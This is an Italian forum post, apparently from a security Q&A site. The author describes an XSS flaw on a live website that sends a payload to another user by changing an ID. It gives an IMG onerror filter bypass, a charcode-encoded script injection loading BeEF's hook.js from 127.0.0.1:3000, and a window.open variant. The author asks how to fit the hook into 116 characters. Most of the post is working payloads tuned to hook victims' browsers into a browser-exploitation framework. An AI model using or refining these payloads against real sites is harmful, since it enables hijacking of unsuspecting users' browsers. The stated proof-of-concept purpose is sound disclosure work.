Ho trovato una vulnerabilità su un sito Web che mi consente di attivare XSS. È una vulnerabilità molto specifica, causata da un difetto di progettazione. Voglio scrivere un PoC per loro ma sono bloccato in questo passaggio.
Il payload XSS non viene fornito tramite un URL e non viene memorizzato in un database. Quindi, non è né XSS persistente né XSS riflessivo. L'utente malintenzionato deve inserire il payload in una casella e inviarlo a un altro utente di quel sito web modificando un ID specifico.
Ad ogni modo, la mia domanda. Filtrano XSS ma non abbastanza, perché questo bypass, può bypassare il loro filtro:
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
Il problema è, come faccio ad usare questo filtro specifico per collegare BeEF su di esso? Ho provato:
<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>
Ma quel carico utile non è stato consegnato pulito, in quanto ho ottenuto un sacco di altro HTML misto. Ho anche cercato se ci sono già articoli che spiegano come bypassare i filtri XSS per agganciare BeEF su di esso, ma non ne ho trovato nessuno.
Quindi la mia domanda, esiste un modo per aggirare i filtri XSS, per poter agganciare BeEF su di esso? Non sto chiedendo come bypassare XSS in generale, lo chiedo in una situazione in cui desideri includi il file hook.js di BeEF.
Modifica 1: un problema in più, ho solo 116 caratteri esatti da inserire nella casella. Non penso che ci sia un problema per accorciare così tanto JavaScript? Inoltre, ciò che intendevo con "Ho ottenuto un mix con un sacco di HTML", è stato il fatto che quando ho inserito quell'altra lunga stringa, la casella "assorbiva" un pezzo di codice HTML. Ciò che potrebbe anche soddisfare è usare la funzione window.open (), per aprire un sito Web contenente l'hook in una nuova finestra o scheda o altro.
Modifica 2: ho trovato un modo per aprire un nuovo URL in una nuova scheda utilizzando questo codice: <img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')">
Tuttavia, l'utente riceve un avviso che un popup è stato bloccato e quando glielo permette, si concentra immediatamente su quella scheda. Questo soddisfa per un PoC? O qualcuno ha soluzioni migliori?